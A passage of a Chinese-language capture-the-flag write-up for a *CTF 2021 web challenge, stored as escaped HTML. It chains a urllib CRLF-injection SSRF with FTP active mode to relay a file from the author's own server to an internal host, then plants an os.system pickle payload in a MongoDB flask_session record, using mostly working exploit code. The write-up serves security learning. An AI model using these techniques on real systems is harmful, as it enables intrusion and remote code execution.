class=\"string\"\u003e\u0026quot;root\u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ftp\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_config\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f = self.ftp_login()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f.cwd(\u003cspan class=\"string\"\u003e\u0026quot;files\u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e buf_size = \u003cspan class=\"number\"\u003e1024\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f.retrbinary(\u003cspan class=\"string\"\u003e\u0026#x27;RETR \u0026#123;\u0026#125;\u0026#x27;\u003c/span\u003e.\u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;config.json\u0026#x27;\u003c/span\u003e), self.callback, buf_size)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003econfig.py\u003c/code\u003e又告诉我们flask启动时的环境变量位于\u003ccode\u003e172.20.0.2\u003c/code\u003e的ftp服务器中。利用上面的ssrf来取得config.json:\u003c/p\u003e\u003cfigure class=\"highlight json\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;secret_key\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;f4545478ee86$%^\u0026amp;\u0026amp;%$#\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;DEBUG\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_TYPE\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;mongodb\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;REMOTE_MONGO_IP\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;172.20.0.5\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;REMOTE_MONGO_PORT\u0026quot;\u003c/span\u003e: \u003cspan class=\"number\"\u003e27017\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_MONGODB_DB\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;admin\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_MONGODB_COLLECT\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;sessions\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_PERMANENT\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_USE_SIGNER\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SESSION_KEY_PREFIX\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;session:\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SQLALCHEMY_DATABASE_URI\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;SQLALCHEMY_TRACK_MODIFICATIONS\u0026quot;\u003c/span\u003e: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003e\u0026quot;REDIS_URL\u0026quot;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;redis://@172.20.0.4:6379/0\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e此时我们发现内网有\u003ccode\u003e172.20.0.0/29\u003c/code\u003e共五台服务器(1为宿主机,不计)\u003cbr\u003emysql估计是出题人想用来存payload审payload的,没啥用,hint也说了不要管redis,重点在于mongodb中存储了session对象。\u003cbr\u003e题目用到了\u003ccode\u003eflask_session\u003c/code\u003e,而\u003ccode\u003eflask_session\u003c/code\u003e使用的serializer默认是pickle(貌似现在也不支持改),也就是说只要能将恶意pickle数据塞到mongodb里就可以了\u003c/p\u003e\u003cp\u003e经尝试,利用\u003ccode\u003eftp://fan:root@172.20.0.2/\u003c/code\u003e这样的url可以列出ftp服务器内的文件,下载\u003ccode\u003eftp-server.py\u003c/code\u003e\u003cbr\u003e首先看权限:\u003ccode\u003eauthorizer.add_user(\u0026quot;fan\u0026quot;, \u0026quot;root\u0026quot;, \u0026quot;.\u0026quot;, perm=\u0026quot;elrafmwMT\u0026quot;)\u003c/code\u003e,有权限写\u003c/p\u003e\u003cp\u003eurllib这个ssrf还能怎么样进一步利用呢?略作百(gu)度(ge)可以找到\u003ca href=\"https://bugs.python.org/issue36276\"\u003e这个CVE\u003c/a\u003e\u003cbr\u003e不出意料,urllib在题目环境的版本中存在CRLF注入,我们可以在url的任意一个part注入换行符。这样,我们就可以完整地控制ftp客户端的行为了。\u003c/p\u003e\u003cp\u003e参考\u003ca href=\"http://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/\"\u003e这篇文章\u003c/a\u003e,我们发现ftp竟然还有主动模式这一说。\u003cbr\u003eplaid里的这道题利用ftp主动模式可以将ftp服务器内可控的二进制文件发送到任意ip的任意端口,对这道题来说问题就在于如何控制ftp服务器里的文件。\u003cbr\u003e经尝试(其实也能搜到),主动模式不仅可以用于文件的下载,还可以用于文件的上传。也就是说只要指示ftp服务器到我们自己的服务器来下载文件就好了。\u003c/p\u003e\u003cp\u003e此时,我们成功地将CRLF注入型SSRF提升为了完整的无状态二进制流SSRF(自己瞎起的名字),类似gopher\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebind = \u003cspan class=\"string\"\u003e\u0026#x27;自己的IP:端口\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etarg = \u003cspan class=\"string\"\u003e\u0026#x27;SSRF的目标IP:端口\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_port_cmd\u003c/span\u003e(\u003cspan class=\"params\"\u003ehost\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e host, port = host.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e port = \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(port)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;PORT \u0026#x27;\u003c/span\u003e + \u003cspan class=\"string\"\u003e\u0026#x27;,\u0026#x27;\u003c/span\u003e.join(host.split(\u003cspan class=\"string\"\u003e\u0026#x27;.\u0026#x27;\u003c/span\u003e) + [\u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e), \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(port - port // \u003cspan class=\"number\"\u003e256\u003c/span\u003e * \u003cspan class=\"number\"\u003e256\u003c/span\u003e)])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003einject\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cmd = \u003cspan class=\"string\"\u003e\u0026#x27;\\r\\n\u0026#x27;\u003c/span\u003e.join(cmd)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ssrf(\u003cspan class=\"string\"\u003ef\u0026#x27;\u0026#x27;\u0026#x27;ftp://fan:root\u003cspan class=\"subst\"\u003e\u0026#123;cmd\u0026#125;\u003c/span\u003e@\u003cspan class=\"subst\"\u003e\u0026#123;ftpd\u0026#125;\u003c/span\u003e/\u0026#x27;\u0026#x27;\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003esendfile\u003c/span\u003e(\u003cspan class=\"params\"\u003efile\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.bind((\u003cspan class=\"string\"\u003e\u0026#x27;0.0.0.0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(bind.split(\u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)[\u003cspan class=\"number\"\u003e1\u003c/span\u003e])))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e sock.listen(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e (client, address) = sock.accept()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;accepted\u0026#x27;\u003c/span\u003e, address)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.send(file)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;sent\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client.close()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread = threading.Thread(target=sendfile, args=(request,))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.start()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(bind), \u003cspan class=\"string\"\u003e\u0026#x27;STOR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ethread.join()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;replaying\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003einject([\u003cspan class=\"string\"\u003e\u0026#x27;TYPE I\u0026#x27;\u003c/span\u003e, get_port_cmd(targ), \u003cspan class=\"string\"\u003e\u0026#x27;RETR frankli\u0026#x27;\u003c/span\u003e])\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接下来的任务就是向mongodb发起一个update请求,修改数据库里的session序列化数据。如何构造这个数据包呢,我赛后问了出题人和别的队伍的同学,基本有下面几种:\u003c/p\u003e\u003col\u003e\u003cli\u003e分析mongodb数据包,并手动构造(肝败吓疯)\u003c/li\u003e\u003cli\u003e查\u003ca href=\"https://docs.mongodb.com/manual/reference/mongodb-wire-protocol/\"\u003e文档\u003c/a\u003e,手动构造\u003c/li\u003e\u003cli\u003e抓包重放(出题人)\u003c/li\u003e\u003cli\u003e我的办法\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e我的办法比较脏,但是也比较好玩。众所周知python啥都能干,比如pymongo。然而pymongo是主动去连服务器的,怎么获取到数据包本身呢?\u003cbr\u003e改代码呗,去\u003ccode\u003esite-packages/pymongo/network.py:142\u003c/code\u003e,在sendall之前丢 个 异 常\u003c/p\u003e\u003cimg src=\"/2021/01/18/Security/Writeup/*CTF-2021-Web/exception.png\" class=\"\" title=\"我看是你脑子有异常\"\u003e\u003cp\u003e然后就可以愉快地拿到mongo请求了。\u003cbr\u003e只是有一点要注意,下面这个脚本跑的时候在localhost也得启动一个mongo实例/docker,不然pymongo发别的ping包之类的会阻塞。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e pymongo \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e MongoClient\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pickle\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e os\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_pickle\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eexp\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"built_in\"\u003eobject\u003c/span\u003e\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003e__reduce__\u003c/span\u003e(\u003cspan class=\"params\"\u003eself\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (os.system, (cmd,))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e pickle.dumps(exp())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003eget_mongo\u003c/span\u003e(\u003cspan class=\"params\"\u003ecmd\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e client = MongoClient(\u003cspan class=\"string\"\u003e\u0026#x27;localhost\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e27017\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e coll = client.admin.sessions\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e coll.update_one(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#x27;session:37386ce1-3fe8-4f1d-91fc-224581c5279f\u0026#x27;\u003c/span\u003e\u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;$set\u0026quot;\u003c/span\u003e: \u0026#123; \u003cspan class=\"string\"\u003e\u0026quot;val\u0026quot;\u003c/span\u003e: get_pickle(cmd) \u0026#125;\u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e upsert=\u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eexcept\u003c/span\u003e Exception \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e e.message\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e __name__ == \u003cspan class=\"string\"\u003e\u0026#x27;__main__\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(get_mongo(\u003cspan class=\"string\"\u003e\u0026#x27;ls\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 剩下的exploit \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan 